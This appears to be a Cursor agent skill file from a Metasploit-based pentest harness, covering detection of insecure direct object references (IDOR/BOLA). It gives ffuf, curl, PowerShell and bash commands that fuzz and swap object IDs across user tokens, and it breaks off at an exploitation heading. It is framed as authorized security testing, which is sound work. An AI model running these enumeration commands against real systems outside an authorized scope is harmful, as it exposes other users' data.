metasploit-cursor-harness: Skill for Cursor

Insecure Direct Object References Pentest

Prerequisites

• Target is in scope (scope/scope-master.txt, engagement ROE).
• Load web-app-pentest for overall web testing context.
• Requires two test accounts: same-role (horizontal) and different-role (vertical).

Triggers

• Predictable numeric or sequential IDs in URLs, query params, or JSON bodies
• UUID/GUID or MongoDB ObjectId references in API requests
• User can access own resources by ID but authorization on ID swap is unclear
• Horizontal privesc (peer data) or vertical privesc (admin-only objects)
• BOLA/BFLA patterns in REST or GraphQL APIs

Workflow

Task Progress:
- [ ] Capture authenticated requests referencing object IDs
- [ ] Swap IDs across accounts/roles; test increment, decrement, encoding variants
- [ ] Try wildcard, parameter pollution, and HTTP method/content-type changes
- [ ] Confirm unauthorized read, modify, or delete with two distinct test accounts
- [ ] Document with request/response evidence showing cross-account access

Detection

Numeric ID swapping

CLI (primary for web vulns):

ffuf -u "http://<target>/api/orders/FUZZ" -w ids.txt -H "Authorization: Bearer <token>" -mc 200
curl -H "Authorization: Bearer <token_b>" "http://<target>/api/orders/1001"

Test: /api/orders/1001 (User A) with User B token.

MSF MCP: No direct module. Use msf_search_modules(query="authorization") or msf_search_modules(query="idor").

Increment/decrement fuzzing

CLI (primary):

ffuf -u "http://<target>/api/users/FUZZ" -w <(seq 1 5000) -H "Cookie: session=<token>" -mc 200,403
# pwsh (Windows):
1..5000 | ForEach-Object { Invoke-WebRequest "http://<target>/api/users/$_" -Headers @{Authorization="Bearer <token>"} }
for i in $(seq 99 105); do curl -s -o /dev/null -w "$i:%{http_code}\n" "http://<target>/api/doc/$i" -H "Authorization: Bearer <token>"; done

Leading zeros: /order_id=00001001

MSF MCP: No direct module.

Exploitation by variant